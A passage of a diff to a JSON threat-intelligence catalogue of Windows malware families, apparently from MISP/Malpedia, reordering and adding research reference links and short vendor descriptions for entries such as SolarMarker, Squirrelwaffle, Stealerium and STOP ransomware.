"https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer", - "https://blog.talosintelligence.com/2021/07/threat-spotlight-solarmarker.html#more", - "https://unit42.paloaltonetworks.com/solarmarker-malware/", - "https://www.prodaft.com/m/reports/Solarmarker_TLPWHITEv2.pdf", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise", "https://twitter.com/MsftSecIntel/status/1403461397283950597", - "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", - "https://squiblydoo.blog/2022/09/27/solarmarker-the-old-is-new/", - "https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction", - "https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", - "https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer", - "https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html", - "https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/", "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/", - "https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire", + "https://squiblydoo.blog/2022/09/27/solarmarker-the-old-is-new/", "https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1/", + "https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire", + "https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer", + "https://unit42.paloaltonetworks.com/solarmarker-malware/", + "https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/", + "https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html", + "https://www.binarydefense.com/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", + "https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction", + "https://www.prodaft.com/m/reports/Solarmarker_TLPWHITEv2.pdf", "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker", - "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://embee-research.ghost.io/shodan-censys-queries/", + "https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer", + "https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/", + "https://blog.talosintelligence.com/2021/07/threat-spotlight-solarmarker.html#more" ], "synonyms": [ "Jupyter", @@ -44983,9 +47070,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorano", + "https://3xp0rt.xyz/lpmkikVic", "https://github.com/Alexuiop1337/SoranoStealer", - "https://github.com/3xp0rt/SoranoStealer", - "https://3xp0rt.xyz/lpmkikVic" + "https://github.com/3xp0rt/SoranoStealer" ], "synonyms": [], "type": [] @@ -45026,8 +47113,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east" ], "synonyms": [], "type": [] @@ -45056,15 +47143,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", - "https://attack.mitre.org/wiki/Software/S0157", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/", "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", + "https://attack.mitre.org/wiki/Software/S0157", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" + "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf" ], "synonyms": [ "denis" @@ -45079,8 +47166,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship", - "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" ], "synonyms": [], "type": [] @@ -45093,11 +47180,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spark", - "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", - "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", - "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one" + "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", + "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one", + "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/" ], "synonyms": [], "type": [] @@ -45136,10 +47223,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spark_rat", - "https://www.sentinelone.com/labs/dragonspark-attacks-evade-detection-with-sparkrat-and-golang-source-code-interpretation/", - "https://blog.exatrack.com/melofee/", "https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/", - "https://github.com/XZB-1248/Spark" + "https://asec.ahnlab.com/en/52899/", + "https://blog.exatrack.com/melofee/", + "https://www.sentinelone.com/labs/dragonspark-attacks-evade-detection-with-sparkrat-and-golang-source-code-interpretation/", + "https://github.com/XZB-1248/Spark", + "https://asec.ahnlab.com/ko/56715/" ], "synonyms": [], "type": [] @@ -45152,8 +47241,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door", - "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf", - "https://www.welivesecurity.com/2021/09/23/famoussparrow-suspicious-hotel-guest/" + "https://www.welivesecurity.com/2021/09/23/famoussparrow-suspicious-hotel-guest/", + "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf" ], "synonyms": [ "FamousSparrow" @@ -45176,6 +47265,19 @@ "uuid": "e4dce19f-bb8e-4ea1-b771-58b162946f29", "value": "Spartacus" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.spectralviper", + "https://www.elastic.co/fr/security-labs/elastic-charms-spectralviper" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4f9ee4dc-725e-4a8e-8c10-a013f6949b2d", + "value": "SPECTRALVIPER" + }, { "description": "Mixed RAT and Botnet malware sold in underground forums. In march 2021 it was advertised with the Spectre 2.0, it reached version 3 in June 2021 and then quickly version 4. This crimeware tool was being abused in malicious campaigns targeting European users in September 2021.", "meta": { @@ -45233,9 +47335,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf", "https://twitter.com/nahamike01/status/1471496800582664193?s=20", - "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf" ], "synonyms": [], "type": [] @@ -45248,12 +47350,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom", - "https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/", - "https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware", "https://github.com/MinervaLabsResearch/SporaVaccination", - "http://malware-traffic-analysis.net/2017/01/17/index2.html", + "https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware", + "https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/", + "https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas", "https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/", - "https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas" + "http://malware-traffic-analysis.net/2017/01/17/index2.html" ], "synonyms": [], "type": [] @@ -45278,14 +47380,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder", - "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", - "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/", - "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/", + "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", - "https://vms.drweb.com/virus/?i=23648386", + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", "https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf", - "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf" + "https://vms.drweb.com/virus/?i=23648386", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf", + "https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/" ], "synonyms": [], "type": [] @@ -45298,18 +47401,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye", - "https://www.computerworld.com/article/2509482/spyeye-trojan-defeating-online-banking-defenses.html", - "https://krebsonsecurity.com/2010/09/spyeye-botnets-bogus-billing-feature/", "http://malwareint.blogspot.com/2010/02/spyeye-bot-part-two-conversations-with.html", - "https://www.pcworld.com/article/247252/spyeye_malware_borrows_zeus_trick_to_mask_fraud.html", "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FSpyeye", - "https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393", - "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://krebsonsecurity.com/2010/04/spyeye-vs-zeus-rivalry/", "https://krebsonsecurity.com/2011/04/spyeye-targets-opera-google-chrome-users/", - "https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot" + "https://www.pcworld.com/article/247252/spyeye_malware_borrows_zeus_trick_to_mask_fraud.html", + "https://krebsonsecurity.com/2010/09/spyeye-botnets-bogus-billing-feature/", + "https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot", + "https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals", + "https://krebsonsecurity.com/2010/04/spyeye-vs-zeus-rivalry/", + "https://www.computerworld.com/article/2509482/spyeye-trojan-defeating-online-banking-defenses.html", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393" ], "synonyms": [], "type": [] @@ -45318,34 +47421,34 @@ "value": "SpyEye" }, { - "description": "According to Sophos, Squirrelwaffle is a malware loader that is distributed as a malicious Office document in spam campaigns. It provides attackers with an initial foothold in a victim’s environment and a channel to deliver and infect systems with other malware. When a recipient opens a Squirrelwaffle-infected document and enables macros, a visual basic script typically downloads and executes malicious files and scripts, giving further control of the computer to an attacker. Squirrelwaffle operators also use DocuSign to try and trick the user into enabling macros in Office documents.", + "description": "According to Sophos, Squirrelwaffle is a malware loader that is distributed as a malicious Office document in spam campaigns. It provides attackers with an initial foothold in a victim\u2019s environment and a channel to deliver and infect systems with other malware. When a recipient opens a Squirrelwaffle-infected document and enables macros, a visual basic script typically downloads and executes malicious files and scripts, giving further control of the computer to an attacker. Squirrelwaffle operators also use DocuSign to try and trick the user into enabling macros in Office documents.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle", - "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", - "https://blogs.blackberry.com/en/2021/11/threat-thursday-squirrelwaffle-loader", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", "https://twitter.com/Max_Mal_/status/1442496131410190339", - "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", - "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", - "https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9", - "https://certitude.consulting/blog/en/unpatched-exchange-servers-distribute-phishing-links-squirrelwaffle/", - "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", - "https://www.cynet.com/understanding-squirrelwaffle/", - "https://redcanary.com/blog/intelligence-insights-december-2021", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://www.malware-traffic-analysis.net/2021/09/17/index.html", + "https://www.cynet.com/understanding-squirrelwaffle/", + "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", + "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", + "https://redcanary.com/blog/intelligence-insights-december-2021", + "https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/the-newest-malicious-actor-squirrelwaffle-malicious-doc/", "https://blog.minerva-labs.com/a-new-datoploader-delivers-qakbot-trojan", + "https://news.sophos.com/en-us/2022/02/15/vulnerable-exchange-server-hit-by-squirrelwaffle-and-financial-fraud/", "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", - "https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot", - "https://www.youtube.com/watch?v=9X2P7aFKSw0", - "https://security-soup.net/squirrelwaffle-maldoc-analysis/", - "https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", - "https://twitter.com/jhencinski/status/1464268732096815105", + "https://blogs.blackberry.com/en/2021/11/threat-thursday-squirrelwaffle-loader", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", "https://www.sentinelone.com/blog/is-squirrelwaffle-the-new-emotet-how-to-detect-the-latest-malspam-loader/", - "https://news.sophos.com/en-us/2022/02/15/vulnerable-exchange-server-hit-by-squirrelwaffle-and-financial-fraud/" + "https://security-soup.net/squirrelwaffle-maldoc-analysis/", + "https://certitude.consulting/blog/en/unpatched-exchange-servers-distribute-phishing-links-squirrelwaffle/", + "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", + "https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", + "https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot", + "https://twitter.com/jhencinski/status/1464268732096815105", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", + "https://www.malware-traffic-analysis.net/2021/09/17/index.html", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://www.youtube.com/watch?v=9X2P7aFKSw0" ], "synonyms": [ "DatopLoader" @@ -45356,7 +47459,7 @@ "value": "Squirrelwaffle" }, { - "description": "", + "description": "According to PaloAlto, SquirtDanger is a commodity botnet malware family that comes equipped with a number of characteristics and capabilities. The malware is written in C# (C Sharp) and has multiple layers of embedded code. Once run on the system, it will persist via a scheduled task that is set to run every minute. SquirtDanger uses raw TCP connections to a remote command and control (C2) server for network communications.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirtdanger", @@ -45374,8 +47477,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sshnet", "https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices", - "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/", - "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign.pdf" + "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign.pdf", + "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/" ], "synonyms": [], "type": [] @@ -45388,9 +47491,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf", + "https://securelist.com/analysis/publications/69953/the-naikon-apt/", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://securelist.com/analysis/publications/69953/the-naikon-apt/" + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf" ], "synonyms": [], "type": [] @@ -45499,10 +47602,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stashlog", - "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", - "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive", "https://twitter.com/ESETresearch/status/1433819369784610828", - "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive" + "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html" ], "synonyms": [], "type": [] @@ -45515,11 +47618,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit", - "https://twitter.com/r3c0nst/status/1425875923606310913", - "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/", "https://www.accenture.com/us-en/blogs/security/stealbit-exmatter-exfiltration-tool-analysis", + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool" + "https://twitter.com/r3c0nst/status/1425875923606310913", + "https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/" ], "synonyms": [ "Corrempa" @@ -45534,8 +47637,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc", + "https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/", + "https://www.esentire.com/blog/stealc-delivered-via-deceptive-google-sheets", "https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/", - "https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/" + "https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Stealc/stealc_config_extractor.ipynb", + "https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Stealc/stealc_string_decryption.py" ], "synonyms": [], "type": [] @@ -45544,12 +47650,12 @@ "value": "Stealc" }, { - "description": "According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor’s addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.", + "description": "According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor\u2019s addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium", - "https://github.com/Stealerium/Stealerium", - "https://resources.securityscorecard.com/research/stealerium-detailed-analysis" + "https://resources.securityscorecard.com/research/stealerium-detailed-analysis", + "https://github.com/Stealerium/Stealerium" ], "synonyms": [], "type": [] @@ -45562,8 +47668,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/" ], "synonyms": [], "type": [] @@ -45572,7 +47678,7 @@ "value": "Stealer0x3401" }, { - "description": "According to Fortinet, StealthWorker is a brute-force malware that has been linked to a compromised e-commerce website with an embedded skimmer that steals personal information and payment details. Before hackers can embed a skimmer, however, the first requirement is for hackers to gain access to their target’s backend. Hacker’s commonly take advantage of vulnerabilities in the Content Management System (CMS) or its plugins to gain entry into the target’s system. Another, simpler option is to use brute force attacks. Though quite slow, this method is still effective against administrators using weak or commonly used passwords.", + "description": "According to Fortinet, StealthWorker is a brute-force malware that has been linked to a compromised e-commerce website with an embedded skimmer that steals personal information and payment details. Before hackers can embed a skimmer, however, the first requirement is for hackers to gain access to their target\u2019s backend. Hacker\u2019s commonly take advantage of vulnerabilities in the Content Management System (CMS) or its plugins to gain entry into the target\u2019s system. Another, simpler option is to use brute force attacks. Though quite slow, this method is still effective against administrators using weak or commonly used passwords.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker", @@ -45585,11 +47691,25 @@ "uuid": "d1c5a299-c072-44b5-be31-d03853bca5ea", "value": "StealthWorker Go" }, + { + "description": "Check Point Research observed a wave of highly-targeted espionage attacks in Libya that utilize a new custom modular backdoor. Stealth Soldier malware is an undocumented backdoor that primarily operates surveillance functions such as file exfiltration, screen and microphone recording, keystroke logging and stealing browser information.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealth_soldier", + "https://research.checkpoint.com/2023/stealth-soldier-backdoor-used-in-targeted-espionage-attacks-in-north-africa/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "07a24653-0f0b-49cf-944d-b4686b7e48d0", + "value": "Stealth Soldier" + }, { "description": "Malware written in .NET that hides in Steam profile pictures. Tries to evade virtualization through detection if it is executed within VMWare or VirtualBox.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.steamhide", + "https://www.gdatasoftware.com/blog/2021/06/36861-malware-hides-in-steam-profile-images", "https://www.gdatasoftware.com/blog/steamhide-malware-in-profile-images" ], "synonyms": [], @@ -45629,12 +47749,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stonedrill", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail" ], "synonyms": [], "type": [] @@ -45647,25 +47767,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b", + "https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/", + "https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view", + "https://www.bleepingcomputer.com/news/security/djvu-ransomware-spreading-new-tro-variant-through-cracks-and-adware-bundles/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", + "https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/", + "https://www.gdata.de/blog/1970/01/-35391-finger-weg-von-illegalen-software-downloads", "https://securelist.com/keypass-ransomware/87412/", "https://intel471.com/blog/privateloader-malware", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://www.bleepingcomputer.com/news/security/djvu-ransomware-spreading-new-tro-variant-through-cracks-and-adware-bundles/", - "https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b", - "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", - "https://angle.ankura.com/post/102het9/the-stop-ransomware-variant", "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://www.gdata.de/blog/1970/01/-35391-finger-weg-von-illegalen-software-downloads", - "https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list", - "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", "https://www.gdatasoftware.com/blog/2022/01/malware-vaccines", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/", - "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", - "https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/" + "https://angle.ankura.com/post/102het9/the-stop-ransomware-variant", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + 